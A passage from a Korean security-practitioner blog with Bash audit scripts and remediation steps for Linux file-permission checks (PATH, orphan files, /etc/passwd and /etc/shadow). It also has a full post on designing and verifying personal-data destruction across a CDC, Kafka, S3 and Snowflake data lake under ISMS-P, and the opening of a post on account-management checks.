따라서 INFO가 출력됐다고 해서 즉시 권한을 400으로 변경해야 하는 것은 아니다.

특히 root:shadow 640과 같은 배포판별 기본 구성은 현재 시스템의 인증 구조와 함께 확인해야 한다.

6.3 실제 파일 상태 확인

stat -c "%a %U:%G %n" /etc/shadow

예를 들어 다음과 같은 결과라면,

640 root:shadow /etc/shadow

단순히 400으로 변경하기 전에 해당 시스템에서 shadow 그룹이 어떻게 사용되는지 확인해야 한다.

6.4 인증 기능 정상 여부 확인

파일 권한 변경 후에는 인증 기능까지 확인하는 것이 중요하다.

pwck -r /etc/shadow

또한 테스트 가능한 환경에서는 실제 사용자 비밀번호 변경 및 로그인 동작까지 확인해야 한다.

6.5 안전한 조치

변경 전 백업한다.

cp -p /etc/shadow /etc/shadow.bak_$(date +%Y%m%d)

RHEL/CentOS/Rocky 계열 등 현재 운영환경의 정책이 root:root, 400을 사용하는 경우 다음과 같이 조치할 수 있다.

chown root:root /etc/shadow
chmod 400 /etc/shadow

반대로 Ubuntu/Debian 환경에서 기존 인증 구조가 root:shadow, 640을 사용하는 경우에는 해당 구성을 무조건 400으로 변경하기보다 현재 시스템의 인증 구성과 패키지 기본 정책을 확인해야 한다.

원문에서 제시한 환경별 예시는 다음과 같다.

# Ubuntu/Debian 환경에서 필요한 경우
chown root:shadow /etc/shadow
chmod 640 /etc/shadow

변경 후에는 다음과 같이 무결성을 확인한다.

pwck -r

7. 다섯 항목을 점검할 때 특히 주의할 부분

U-14~U-18은 단순히 취약 → 명령어 실행으로 끝내면 안 되는 항목이 많다.

U-14

PATH에서 .을 발견했다면 어떤 설정 파일에서 추가됐는지부터 확인한다.

U-15

고아 파일을 발견했다고 바로 삭제하지 않는다.

애플리케이션, 컨테이너, 로그 등의 정상적인 운영 파일일 수 있다.

U-16

/etc/passwd의 권한을 보안 강화 목적으로 과도하게 제한하지 않는다.

시스템에서 필요한 읽기 기능까지 차단될 수 있다.

U-17

Other 쓰기 권한뿐 아니라 실제 소유자와 서비스 파일의 역할을 함께 확인한다.

현재 자동화 스크립트는 소유자를 자동 판정하지 않는다.

U-18

/etc/shadow는 배포판별 기본 권한과 인증 구조를 확인한 후 조치한다.

특히 640을 발견했다고 무조건 400으로 변경하는 방식은 피하는 것이 좋다.

8. 자동화 스크립트의 검사 범위와 한계

자동화 스크립트는 많은 서버를 동일한 기준으로 빠르게 검사할 수 있다는 장점이 있다.

하지만 U-14~U-18에서는 스크립트가 검사하는 범위와 실제 시스템의 전체 보안 상태가 동일하지 않다.

U-14

현재 $PATH만 검사한다.

/etc/profile.d/*.sh, /etc/environment 등 PATH가 구성되는 모든 파일을 직접 추적하지 않는다.

U-15

/, /home, /var, /tmp, /usr, /opt를 대상으로 -xdev 방식으로 검색하며, 60초 초과 시 중단한다.

대용량 저장소나 컨테이너 저장소가 있는 서버에서는 점검 결과가 제한될 수 있다.

U-16

/etc/passwd의 소유자와 Group/Other 권한을 검사한다.

현재 코드에서는 파일 권한 숫자를 직접 644와 비교하는 방식이 아니라 Group과 Other에 w/x 권한이 있는지를 확인한다.

U-17

현재 코드에서는 시작 관련 경로의 Other 쓰기 권한을 검사한다.

파일 소유자가 root인지 여부까지 자동으로 검사하지 않는다.

U-18

400/000은 OK, 600/640은 INFO로 처리한다.

따라서 실제 운영환경에서는 배포판과 인증 구성까지 확인해야 한다.

9. 정밀 점검이 필요한 경우의 개선 예시

현재 자동화 스크립트의 검사 범위를 확대하려면 다음과 같은 방법을 사용할 수 있다.

9.1 U-14 — 설정 파일까지 PATH 검색 범위 확대

VULN_PATH_CONF=$(grep -E -H "PATH=.*(\.:|::|:\.|\:\$)" \
    /etc/profile /etc/profile.d/*.sh /etc/environment 2>/dev/null |
    grep -v "^#")

if [ -n "$VULN_PATH_CONF" ]; then
    WARN "설정 파일 내 안전하지 않은 PATH 선언이 발견되었습니다." \
        "내역: $VULN_PATH_CONF"
fi

현재 $PATH만 보는 방식에서 PATH를 구성하는 설정 파일까지 확인하는 방식으로 범위를 확대하는 예시다.

9.2 U-18 — OS별 /etc/shadow 권한 확인

SHADOW_OWNER=$(stat -c "%U" /etc/shadow)
SHADOW_GROUP=$(stat -c "%G" /etc/shadow)
SHADOW_PERM=$(stat -c "%a" /etc/shadow)

if [[ "$SHADOW_OWNER" == "root" ]] && \
   [[ "$SHADOW_PERM" =~ ^(000|400)$ ]]; then

    OK "/etc/shadow 권한이 매우 안전합니다." \
       "권한: $SHADOW_PERM ($SHADOW_OWNER:$SHADOW_GROUP)"

elif [[ "$SHADOW_OWNER" == "root" && \
        "$SHADOW_GROUP" == "shadow" && \
        "$SHADOW_PERM" == "640" ]]; then

    OK "/etc/shadow가 데비안/우분투 표준 권한(640, root:shadow)에 부합합니다." \
       "권한: $SHADOW_PERM"

else
    WARN "/etc/shadow 권한 및 소유자가 가이드라인에 미달합니다." \
         "권한: $SHADOW_PERM ($SHADOW_OWNER:$SHADOW_GROUP)"
fi

이 방식은 단순히 400만을 양호 기준으로 보는 것이 아니라 소유자·그룹·권한을 함께 판단하는 방식이다.

10. U-14~U-18 자동화 점검을 실제 서버에 적용하는 방법

이번 영역은 다음 순서로 점검하면 효율적이다.

1단계 — 자동 진단

먼저 전체 스크립트를 실행하여 U-14~U-18의 결과를 확인한다.

2단계 — 결과가 나온 파일을 직접 확인

자동화 결과만 보고 바로 조치하지 않고 해당 파일의 실제 상태를 확인한다.

ls -l <파일>
stat <파일>

3단계 — 운영 영향 확인

특히 다음 환경을 별도로 확인한다.

Docker/Podman
NFS 및 별도 파일시스템
systemd
LDAP/SSSD
CI/CD Agent
애플리케이션 서비스 계정
Ubuntu/Debian의 shadow 그룹 구성

4단계 — 원본 백업

권한이나 소유권을 변경하기 전에 원본 파일을 백업한다.

5단계 — 필요한 항목만 조치

자동화 결과에 포함된 모든 파일을 일괄 변경하지 않고, 실제 취약성이 확인된 대상만 조치한다.

6단계 — 변경 후 재점검

동일한 스크립트를 다시 실행하여 변경 결과를 확인한다.

7단계 — 서비스 정상 여부 확인

파일 권한 변경 이후에는 단순히 [양호]가 출력되는 것만 확인하지 않는다.

사용자 로그인, 애플리케이션 서비스, systemd 서비스, 인증 기능 등 해당 파일과 연관된 실제 기능이 정상적으로 동작하는지 확인하는 과정까지 점검의 일부로 보는 것이 안전하다.

주의사항

본 포스팅의 스크립트 및 조치 방법은 Linux 시스템의 파일 및 디렉터리 관리 보안점검과 보안 강화를 목적으로 작성되었다. Linux 배포판, 버전, 파일시스템 구성, 설치된 서비스 및 인증 구성에 따라 점검 대상과 적용 방식이 다를 수 있다.

특히 /etc/passwd, /etc/shadow, 시스템 시작 스크립트의 권한 및 소유권을 변경하거나 root 계정의 PATH를 수정할 경우 사용자 인증, 서비스 실행 및 시스템 부팅에 영향을 줄 수 있으므로 운영 서버에 적용하기 전에 반드시 테스트 환경에서 검증한 후 적용해야 한다.

소유자가 없는 파일이나 디렉터리를 발견하더라도 즉시 삭제하지 말고 해당 파일의 업무상 용도와 애플리케이션·컨테이너 환경에서의 사용 여부를 먼저 확인해야 한다. 또한 /etc/shadow는 Linux 배포판에 따라 기본 소유 그룹과 권한이 다를 수 있으므로 현재 시스템의 인증 구성과 함께 확인한 후 조치해야 한다.

스크립트 실행 및 설정 변경으로 인해 발생하는 시스템 장애에 대해서는 사용 환경에 맞는 사전 검증이 필요하다.

함께 보면 좋은 글

Linux 보안취약점 점검 자동화 스크립트 공통 함수 및 환경 설정

Linux 보안취약점 점검 스크립트를 여러 항목에서 공통으로 사용하기 위한 함수와 환경 설정에 대한 내용은 별도의 글에서 확인할 수 있다.

자동화 스크립트 공통 함수 및 환경 설정

Data Lake에 개인정보를 원본으로 저장하면 생기는 문제

보안실무자J — Tue, 8 Sep 2026 09:32:39 +0900

Data Lake에 개인정보를 원본으로 저장하면 생기는 문제

— AI 추천 시스템 환경에서 개인정보 파기 통제를 설계하는 방법

이 글은 클라우드 기반 데이터 플랫폼의 개인정보 파기 통제를 이해하기 위한 가상의 기술 시나리오를 바탕으로 작성했습니다. 특정 기업의 실제 심사 사례나 실제 결함 사례가 아니며, 시스템 구성과 데이터는 설명을 위해 단순화한 예시입니다.

1. 문제의 시작 — 운영 DB만 삭제하면 끝일까?

기업의 데이터 환경이 복잡해지면서 개인정보는 더 이상 하나의 운영 DB에만 존재하지 않는다.

특히 AI 추천, 데이터 분석, BI, 머신러닝 등의 목적으로 다음과 같은 데이터 파이프라인을 구성하는 경우가 많다.

서비스
   │
   ▼
운영 DB
   │
   ▼
CDC
   │
   ▼
Kafka
   │
   ▼
Data Lake
   │
   ├── ETL
   ├── 분석
   └── Feature 생성
          │
          ▼
       Data Warehouse
          │
          ▼
       AI / ML

문제는 회원 탈퇴나 보유기간 만료와 같은 이벤트가 발생했을 때다.

운영 DB에서는 개인정보를 정상적으로 삭제했는데,아래와 같은 상태가 발생할 수 있다.

운영 DB       → 삭제
Data Lake     → 잔존
Data Warehouse → 잔존
Feature Store → 잔존

이 경우 단순히 DB 담당자의 파기 배치가 정상적으로 동작했는지만 확인해서는 개인정보 파기 통제를 충분히 설명하기 어렵다.

2. 가상의 시스템 환경

다음과 같은 환경을 가정해 보자.

영역	구성
서비스 DB	PostgreSQL
변경 데이터 수집	Debezium CDC
메시지 브로커	Kafka
Data Lake	Amazon S3
ETL	AWS Glue
분석 쿼리	Amazon Athena
분석 DW	Snowflake
활용	구매 분석 및 AI 추천

데이터 흐름은 다음과 같다.

PostgreSQL
    │
    │ INSERT / UPDATE / DELETE
    ▼
Debezium
    │
    ▼
Kafka
    │
    ▼
S3 Data Lake
    │
    ▼
AWS Glue
    │
    ├─────────────┐
    ▼             ▼
Athena        Snowflake
                  │
                  ▼
             AI 추천 모델

여기서 중요한 것은 운영 DB의 데이터 변경 이벤트가 모든 downstream 시스템에서 동일한 의미로 처리되는 것은 아니라는 점이다.

3. 가장 중요한 문제 — DELETE 이벤트를 어떻게 처리할 것인가?

CDC 환경에서는 일반적으로 다음과 같은 데이터 변경 이벤트가 발생한다.

INSERT
UPDATE
DELETE

INSERT와 UPDATE는 비교적 쉽게 처리할 수 있다.

INSERT
   ↓
새로운 데이터 적재

UPDATE
   ↓
기존 데이터 갱신

하지만 DELETE는 조금 다르다.

운영 DB에서는 다음과 같이 실행할 수 있다.

DELETE FROM customer
WHERE user_id = 'USER-000123';

그러나 이미 S3에 다음과 같은 파일이 생성되어 있다면 상황이 달라진다.

s3://example-datalake/customer/
    └── year=2026/
        └── month=09/
            └── day=01/
                └── customer.parquet

운영 DB에서 한 행을 삭제했다고 해서 과거에 생성된 Parquet 파일의 해당 레코드가 자동으로 사라지는 것은 아니다.

즉,

원천 데이터의 삭제와 파생 데이터의 삭제는 별도의 문제다.

4. Data Lake에서는 왜 파기가 어려울까?

RDBMS에서는 특정 조건의 데이터를 쉽게 삭제할 수 있다.

DELETE FROM customer
WHERE user_id = 'USER-000123';

하지만 파일 기반 Data Lake에서는 상황이 다르다.

예를 들어 하나의 Parquet 파일에 수십만 건의 레코드가 들어 있다고 가정하자.

customer-20260901.parquet

USER-000001
USER-000002
USER-000003
...
USER-000123
...
USER-500000

여기에서 USER-000123 한 건만 삭제하려면 기존 파일을 그대로 유지하면서 RDBMS처럼 단순한 DELETE를 수행하기 어렵다.

데이터 플랫폼에서는 일반적으로 다음과 같은 방법을 검토할 수 있다.

방법 1. 데이터셋 재작성

기존 Parquet
      ↓
삭제 대상 필터링
      ↓
새 Parquet 생성
      ↓
기존 파일 교체

방법 2. 테이블 포맷 활용

환경에 따라 Apache Iceberg, Delta Lake, Apache Hudi 등의 테이블 포맷을 활용하여 행 단위 변경 및 삭제를 관리할 수도 있다.

방법 3. 개인정보 원천 저장 최소화

가장 근본적인 방법은 분석에 필요하지 않은 원본 개인정보 자체를 Data Lake에 저장하지 않는 것이다.

5. 가장 중요한 설계 원칙 — “나중에 지우는 것”보다 “처음부터 적게 저장하기”

Data Lake에서 개인정보 파기가 어려운 이유는 데이터가 이미 여러 저장소에 복제된 이후 삭제하려고 하기 때문이다.

예를 들어 다음과 같은 구조를 생각해 보자.

운영 DB
 ↓
원본 개인정보 포함
 ↓
Data Lake
 ↓
ETL
 ↓
Snowflake
 ↓
Feature Store
 ↓
AI 모델

이 구조에서는 개인정보가 여러 시스템으로 확산된다.

반대로 처음부터 분석에 필요한 정보만 Data Lake로 보내는 구조를 만들 수 있다.

운영 DB
 ↓
개인정보 최소화 / 변환
 ↓
Data Lake
 ↓
분석
 ↓
AI 모델

예를 들어 추천 모델이 실제 이름이나 전화번호를 필요로 하지 않는다면, 원본 개인정보를 Data Lake에 저장할 이유가 줄어든다.

홍길동
010-1234-5678
서울특별시 ...

대신 분석에 필요한 식별자를 별도로 설계할 수 있다.

anonymous_id
A7F2C91...

다만 가명처리 또는 해시가 곧 개인정보의 완전한 제거를 의미하는 것은 아니다.

별도의 정보와 결합하여 특정 개인을 알아볼 수 있는 구조라면 개인정보로서의 관리가 필요할 수 있다.

따라서 단순히 “SHA-256으로 변경했으니 개인정보가 아니다”라고 판단해서는 안 된다.

6. 파기 통제는 데이터 흐름 전체를 대상으로 설계해야 한다

개인정보 파기 프로세스를 다음처럼 단순하게 구성하면 문제가 발생할 수 있다.

회원 탈퇴
   ↓
운영 DB DELETE
   ↓
완료

Data Lake 환경에서는 다음과 같이 설계하는 것이 보다 명확하다.

회원 탈퇴
   ↓
파기 대상 식별
   ↓
보존 필요성 확인
   ↓
파기 대상 확정
   ↓
┌───────────────┐
│                │
▼                ▼
운영 DB        Data Lake
                 │
                 ▼
              DW / 분석계
                 │
                 ▼
             Feature 데이터
                 │
                 ▼
              결과 검증
                 │
                 ▼
             파기 이력 기록

즉, 파기 이벤트가 발생했을 때 어디까지 전달되어야 하는지를 데이터 흐름도에 명확하게 정의해야 한다.

7. ISMS-P 3.4 관점에서 보면

현재 ISMS-P 인증기준에서는 개인정보 파기 시 보호조치를 3.4로 구분하고 있다.

3.4.1 개인정보 파기
3.4.2 처리목적 달성 후 보유 시 조치

3.4.1은 개인정보의 보유기간 경과나 처리목적 달성 등 파기 시점이 도달했을 때 안전성과 완전성이 보장되는 방법으로 지체 없이 파기하는 것을 요구한다.

3.4.2는 파기하지 않고 보존하는 경우에도 관련 목적에 필요한 최소한의 항목으로 제한하고 다른 개인정보와 분리하여 저장·관리하는 것을 요구한다.

따라서 Data Lake 설계 단계에서부터 다음 질문을 해야 한다.

이 데이터는 왜 필요한가?

얼마 동안 필요한가?

분석환경에 원본 개인정보가 필요한가?

파기 대상이 되었을 때 어느 시스템까지 삭제해야 하는가?

계속 보존해야 한다면 무엇을 어떻게 분리할 것인가?

8. 기술적 통제 ① — DELETE 이벤트 연계

가장 기본적인 방법은 운영 DB의 개인정보 삭제 이벤트를 downstream 시스템과 연결하는 것이다.

예를 들어 다음과 같은 구조를 만들 수 있다.

회원 탈퇴
   ↓
PostgreSQL DELETE
   ↓
CDC DELETE EVENT
   ↓
Kafka
   ↓
Data Lake 처리
   ↓
Snowflake 처리
   ↓
결과 검증

중요한 것은 단순히 DELETE 이벤트가 Kafka까지 전달되는지가 아니다.

실제로 downstream 시스템에서 그 이벤트가 개인정보 파기 조치로 연결되는지를 확인해야 한다.

9. 기술적 통제 ② — 파기 대상 목록 관리

탈퇴 회원의 user_id를 별도로 관리하고 Data Lake와 비교하는 방식도 사용할 수 있다.

예:

deleted_users

USER-000123
USER-000456
USER-000789

그리고 Data Lake에서 해당 목록과 비교한다.

개념적으로는 다음과 같다.

deleted_users
      │
      ▼
Data Lake 데이터와 비교
      │
      ├── 존재하지 않음 → 정상
      │
      └── 존재함 → 파기 대상

이 방식은 기존 데이터의 소급 파기뿐 아니라 정기적인 누락 탐지에도 활용할 수 있다.

10. 기술적 통제 ③ — 원본 데이터와 분석 데이터 분리

Data Lake에 원본 개인정보를 그대로 저장하는 대신 데이터 영역을 구분할 수 있다.

Raw Zone
  │
  │ 개인정보 포함 가능
  ▼
Cleansed Zone
  │
  │ 최소화 / 변환
  ▼
Analytics Zone
  │
  │ 분석 목적 데이터
  ▼
Feature Store

각 영역마다 개인정보 처리 가능 여부와 보존기간을 다르게 관리할 수 있다.

예를 들어,

영역	개인정보	관리 방향
Raw	포함 가능	접근 최소화 및 보존기간 관리
Cleansed	최소화	분석에 필요한 데이터 중심
Analytics	원본 식별정보 최소화	분석 목적 중심
Feature	필요한 정보만	목적별 보존기간 관리

이렇게 하면 모든 분석 시스템에 원본 개인정보를 전달하는 구조를 줄일 수 있다.

11. 기술적 통제 ④ — 파기와 마스킹을 구분

여기서 실무적으로 매우 중요한 부분이 있다.

다음과 같이 데이터를 변경했다고 하자.

홍길동
010-1234-5678
서울특별시 ○○구

↓

[DELETED]
[DELETED]
[PURGED]

이것을 바로 개인정보 파기라고 표현하면 안 된다.

데이터의 값을 다른 문자열로 바꾼 것이기 때문이다.

개인정보 보호법 제21조는 파기할 때 복구 또는 재생되지 않도록 조치하도록 규정한다.

따라서 기술 문서에서도 다음을 구분하는 것이 좋다.

기술	의미
DELETE	데이터 제거
Hard Delete	데이터 자체를 제거하는 방식
Masking	표시·활용 과정에서 식별정보를 가림
Pseudonymization	별도 추가정보와 결합하여 특정인을 알아볼 수 있도록 관리되는 정보를 가명정보로 변환
Data Minimization	애초에 필요한 데이터만 수집·저장
Separation	계속 보존해야 하는 데이터를 다른 데이터와 분리

특히 “마스킹 처리했으므로 파기 완료”라는 표현은 피하는 것이 좋다.

12. 기술적 통제 ⑤ — 파기 결과 검증

파기 프로세스를 구현했다면 마지막으로 반드시 검증해야 한다.

예를 들어 USER-000123이 파기 대상이라고 가정하자.

운영 DB

SELECT COUNT(*)
FROM customer
WHERE user_id = 'USER-000123';

결과:

Data Lake

SELECT COUNT(*)
FROM customer
WHERE user_id = 'USER-000123';

결과:

Snowflake

SELECT COUNT(*)
FROM CUSTOMER
WHERE USER_ID = 'USER-000123';

결과:

그리고 파기 결과를 다음과 같이 기록할 수 있다.

대상 식별자 : USER-000123

운영 DB       : 정상
Data Lake     : 정상
DW            : 정상
분석 데이터   : 정상
검증 결과     : 이상 없음

중요한 것은 파기 명령의 성공 여부만 확인하지 않는 것이다.

실제 데이터가 더 이상 존재하지 않는지를 별도로 검증해야 한다.

13. “파기 성공”과 “파기 통제 성공”은 다르다

이 부분은 Data Lake 환경에서 특히 중요하다.

예를 들어 다음과 같은 로그가 있다고 하자.

Glue Job
Status = SUCCEEDED

이것만으로 개인정보 파기가 완료되었다고 판단해서는 안 된다.

Glue 작업 자체는 성공했지만, 삭제 대상은 그대로 존재할 수도 있기 때문이다.

S3 원본 파일
        ↓
파기 대상 데이터 존재
        ↓
Glue 작업 성공
        ↓
삭제 대상은 그대로 존재

따라서 다음과 같이 검증 단계를 분리하는 것이 좋다.

① 파기 작업 실행
        ↓
② 작업 성공 여부 확인
        ↓
③ 대상 데이터 존재 여부 확인
        ↓
④ downstream 시스템 확인
        ↓
⑤ 재생성 여부 확인
        ↓
⑥ 결과 기록

즉,

ETL Job 성공 ≠ 개인정보 파기 성공

이다.

14. 파기 통제를 자동화한다면

정기 점검도 자동화할 수 있다.

예를 들어 매일 다음과 같은 검증을 수행할 수 있다.

[1] 탈퇴 회원 목록 조회
        ↓
[2] Data Lake 조회
        ↓
[3] Snowflake 조회
        ↓
[4] 잔존 데이터 비교
        ↓
[5] 결과 생성

정상적인 경우:

탈퇴 대상 : 1,000명
Data Lake 잔존 : 0명
Snowflake 잔존 : 0명

이상 상황:

탈퇴 대상 : 1,000명
Data Lake 잔존 : 3명
Snowflake 잔존 : 2명

이 경우 자동으로 예외를 생성할 수 있다.

[ALERT]

개인정보 파기 검증 이상

Data Lake : 3건
Snowflake  : 2건

→ 담당자 확인 필요

이러한 방식으로 개인정보 파기를 일회성 수동 작업이 아니라 지속적인 통제 프로세스로 만들 수 있다.

15. 파기 대상과 법적 보존 대상을 구분한다

모든 데이터가 동일하게 삭제되는 것은 아니다.

개인정보 보호법 제21조는 불필요하게 된 개인정보를 지체 없이 파기하도록 하면서, 다른 법령에 따라 보존해야 하는 경우에는 예외를 두고 있다. 이 경우 해당 개인정보 또는 개인정보파일은 다른 개인정보와 분리하여 저장·관리해야 한다.

따라서 Data Lake에도 다음과 같은 구분이 필요할 수 있다.

개인정보
   │
   ├── 파기 대상
   │      ↓
   │     삭제
   │
   └── 법적 보존 대상
          ↓
       별도 영역
          ↓
       보존기간 관리
          ↓
       기간 종료
          ↓
         파기

여기서 중요한 것은 법적 보존 대상이라는 이유만으로 모든 개인정보를 계속 보존하는 것이 아니라는 점이다.

보존해야 하는 항목과 기간을 구체적으로 확인하고 필요한 범위에서 관리해야 한다.

16. 실무에서 확인할 증적

Data Lake 개인정보 파기 통제를 점검한다면 다음 자료를 확인할 수 있다.

정책 및 관리자료

개인정보 보유기간 정책
개인정보 파기 절차
법적 보존 대상 목록
시스템별 개인정보 보유 현황
개인정보 처리 흐름도
Data Lake 데이터 분류 기준
데이터 보존 정책

기술자료

CDC 설정
DELETE 이벤트 처리 로그
Kafka 이벤트 처리 로그
AWS Glue 실행 로그
S3 데이터 조회 결과
Snowflake 데이터 조회 결과
파기 배치 실행 로그
파기 검증 결과
예외 처리 및 재처리 로그

인터뷰 질문

실무 점검에서는 다음 질문이 유용하다.

“회원 탈퇴가 발생하면 Data Lake의 데이터는 어떻게 처리됩니까?”

“이미 생성된 Parquet 파일의 개인정보는 어떻게 삭제합니까?”

“DELETE 이벤트가 Kafka까지 전달되는 것은 확인했습니까?”

“Kafka DELETE 이벤트가 실제 S3 삭제 작업으로 연결됩니까?”

“Snowflake에 이미 적재된 데이터는 어떻게 처리합니까?”

“파기 후 데이터가 다시 생성되는 경우는 없습니까?”

“법적 보존 데이터와 일반 데이터를 어떻게 구분합니까?”

17. 자체점검 체크리스트

데이터 구조

개인정보가 존재하는 저장소를 파악하고 있는가?
운영 DB에서 Data Lake까지 데이터 흐름을 관리하는가?
Data Warehouse 및 Feature Store까지 데이터 흐름을 파악하고 있는가?
원본 개인정보가 꼭 필요한 영역에만 저장되는가?
분석환경에 불필요한 식별정보가 저장되지 않는가?

파기

개인정보별 보유기간이 정의되어 있는가?
파기 시점이 정의되어 있는가?
회원 탈퇴와 파기 프로세스가 연계되어 있는가?
CDC DELETE 이벤트를 처리하는가?
과거 Data Lake 데이터도 파기 대상에 포함되는가?
Snowflake 등 downstream 데이터도 처리하는가?
백업·복제 데이터에 대한 관리기준이 있는가?
파기 결과를 검증하는가?
파기 이력을 기록하는가?

법적 보존

법적 보존 근거가 명확한가?
보존 대상 항목이 최소화되어 있는가?
보존기간이 관리되는가?
다른 개인정보와 분리하여 관리하는가?
보존기간 종료 후 파기하는가?

재발 방지

신규 데이터 파이프라인 설계 시 개인정보가 식별되는 형태로 저장되는지 검토하는가?
데이터 파이프라인 변경 시 개인정보 영향 여부를 검토하는가?
파기 검증을 정기적으로 수행하는가?
잔존 데이터 발생 시 자동으로 탐지할 수 있는가?
파기 실패 시 재처리 절차가 있는가?

18. 이 사례에서 얻을 수 있는 핵심 교훈

이 사례의 핵심은 특정 AWS 서비스나 Spark 코드가 아니다.

핵심은 데이터의 복제 구조를 개인정보 생명주기와 함께 설계해야 한다는 것이다.

운영 DB만 생각하면 다음과 같이 보인다.

회원 탈퇴
   ↓
DB DELETE
   ↓
완료

하지만 실제 데이터 플랫폼에서는 다음과 같다.

회원 탈퇴
   ↓
운영 DB
   ↓
CDC
   ↓
Kafka
   ↓
Data Lake
   ↓
ETL
   ├── Athena
   ├── Snowflake
   └── Feature Store

따라서 개인정보 파기 정책 역시 이 데이터 흐름을 따라가야 한다.

19. 가장 효과적인 개선은 “소급 파기”를 줄이는 것

Data Lake에 개인정보를 원본으로 계속 적재한 뒤 탈퇴할 때마다 찾아서 삭제하는 구조는 기술적으로도 관리적으로도 부담이 크다.

가능하다면 다음과 같은 방향을 고려할 수 있다.

기존 구조

원본 개인정보
     ↓
Data Lake
     ↓
분석
     ↓
AI


개선 구조

원본 개인정보
     ↓
목적에 필요한 데이터만 선별
     ↓
최소화 / 변환
     ↓
Data Lake
     ↓
분석
     ↓
AI

이렇게 하면 나중에 파기해야 할 개인정보 자체가 줄어든다.

특히 AI 분석환경에서는 모델이 정말 개인 식별정보를 필요로 하는지부터 검토할 필요가 있다.

“분석할 수 있으니까 저장한다”가 아니라 “분석 목적에 필요한가?”를 먼저 확인하는 것이다.

20. 마무리

클라우드 기반 Data Lake와 AI 분석환경에서는 개인정보가 운영 DB 하나에만 존재하지 않는다.

CDC, Kafka, ETL, Data Lake, Data Warehouse, Feature Store 등 여러 시스템을 거치면서 데이터가 복제될 수 있다.

따라서 개인정보 파기를 설계할 때는 단순히 DB의 DELETE 명령만 구현하는 것으로 충분하지 않다.

다음 네 가지를 함께 고려해야 한다.

① 어디에 개인정보가 존재하는가?

운영 DB뿐만 아니라 Data Lake, DW, 분석계, 백업 등 전체 데이터 흐름을 파악해야 한다.

② 왜 필요한가?

분석이나 AI 학습에 실제 개인정보가 필요한지 검토하고, 필요하지 않은 정보는 처음부터 저장하지 않는 것이 좋다.

③ 언제 파기해야 하는가?

보유기간과 처리 목적을 기준으로 파기 시점을 관리하고, 법령에 따라 보존해야 하는 데이터는 별도로 관리해야 한다.

④ 실제로 파기되었는가?

파기 Job의 성공 여부만 확인하는 것이 아니라 실제 데이터가 존재하지 않는지 downstream 시스템까지 검증해야 한다.

결국 Data Lake의 개인정보 보호에서 중요한 것은

“개인정보를 어떻게 삭제할 것인가?”보다 “개인정보가 불필요하게 여러 시스템으로 복제되지 않도록 어떻게 설계할 것인가?”

라는 질문이다.

그리고 이미 여러 시스템에 개인정보가 존재한다면,

“운영 DB에서 삭제했다”가 아니라 “파기 대상 데이터가 실제 처리환경 전체에서 제거되었음을 어떻게 검증할 것인가?”

까지 고민해야 한다.

이러한 관점에서 개인정보 파기는 DB 운영 업무가 아니라 데이터 아키텍처와 개인정보 생명주기를 연결하는 통제 영역으로 볼 수 있다.

한 줄 정리

Data Lake의 개인정보 파기는 삭제 기능 하나를 구현하는 문제가 아니라, 데이터의 생성·복제·활용·보존·파기를 전체 생명주기 관점에서 설계하는 문제다.

참고자료

ISMS-P 인증기준
- 3.4 개인정보 파기 시 보호조치
- 3.4.1 개인정보 파기
- 3.4.2 처리목적 달성 후 보유 시 조치
개인정보 보호법 제21조 — 개인정보의 파기
- 불필요하게 된 개인정보의 지체 없는 파기
- 복구·재생 방지
- 법령상 보존 시 분리 저장·관리
국가법령정보센터 — 개인정보 보호법
- 현행 법령 기준 확인
  국가법령정보센터 개인정보 보호법
ISMS-P 공식 사이트
- ISMS-P 인증기준 및 관련 자료 확인
  ISMS-P 인증기준

Linux 서버 계정 관리 보안점검 U-11~U-13 | Bash 자동화 스크립트 포함

보안실무자J — Fri, 4 Sep 2026 15:30:23 +0900

리눅스 계정 관리 영역의 핵심 보안점검 항목인 U-11~U-13은 사용자 로그인 쉘, 세션 자동 종료 시간, 비밀번호 암호화 알고리즘을 점검하는 항목이다.

이번 글에서는 각 항목의 자동 진단 스크립트가 실제로 어떤 설정을 확인하고 어떤 조건에서 결과를 출력하는지를 중심으로 정리한다.

특히 계정의 로그인 쉘이나 PAM 설정, 비밀번호 암호화 방식을 변경하는 작업은 정상적인 사용자 로그인과 서비스 동작에 직접적인 영향을 줄 수 있으므로, 자동 진단 결과만으로 설정을 변경하지 않고 대상 시스템의 운영 목적과 실제 사용 여부를 함께 확인해야 한다.

1. 계정 관리 점검 항목 종합 요약

점검코드	점검 명칭	주요 점검 대상 파일	스크립트 기준 판단 방식	위험도
U-11	사용자 Shell 점검	/etc/passwd	UID 1000 이상 일반 계정 중 nologin, false, sync가 아닌 로그인 쉘을 사용하는 계정을 출력하고 수동 확인	중
U-12	세션 종료 시간 설정	/etc/profile	/etc/profile의 TMOUT 값을 확인하고 600초 이하이면 양호, 초과 또는 미설정이면 취약	중
U-13	안전한 비밀번호 암호화 알고리즘 사용	/etc/login.defs, /etc/pam.d/system-auth, /etc/pam.d/common-password	SHA512 또는 YESCRYPT 설정이 확인되면 양호, 그렇지 않으면 취약	상

중요: 위 표의 판단 방식은 일반적인 보안 가이드 전체를 설명한 것이 아니라, 현재 사용 중인 자동 진단 스크립트가 실제로 수행하는 검사 로직을 기준으로 작성했다.

2. 세부 항목별 진단 및 조치 가이드

2.1 [U-11] 사용자 Shell 점검

① 점검 목적 및 개요

리눅스 계정에는 로그인 시 사용할 기본 Shell이 지정된다.

일반 사용자 계정에 /bin/bash, /bin/sh와 같은 대화형 Shell이 설정되어 있으면 해당 계정을 이용한 직접 로그인이 가능하다.

반면 시스템 서비스나 애플리케이션 실행에만 사용하는 계정은 일반적인 대화형 로그인이 필요하지 않은 경우가 많기 때문에 /sbin/nologin 또는 /bin/false 등을 지정하여 로그인 기능을 제한할 수 있다.

U-11 스크립트에서는 모든 계정을 일괄적으로 취약 처리하지 않고 다음 조건에 해당하는 계정을 추출한다.

/etc/passwd의 UID가 1000 이상
계정명이 nobody가 아님
로그인 Shell이 nologin, false, sync가 아님

따라서 해당 계정 목록을 확인한 후 실제 업무상 필요한 계정인지 수동으로 판단해야 한다.

② 자동 진단 스크립트

# [상세 해설] U-11 진단 코드 시작 식별자 선언
CODE "[ U-11 ] 사용자 Shell 점검"

# [상세 해설] /etc/passwd 파일에서 7번째 필드(로그인 쉘)가 nologin, false, sync가 아니며,
# [상세 해설] UID(3번째 필드)가 1000 이상인 대화형 일반 계정 목록을 필터링하여 변수에 저장
INTERACTIVE_USERS=$(awk -F: '$7 !~ /(nologin|false|sync)/ && $3 >= 1000 && $1 != "nobody" {print $1}' /etc/passwd | xargs)

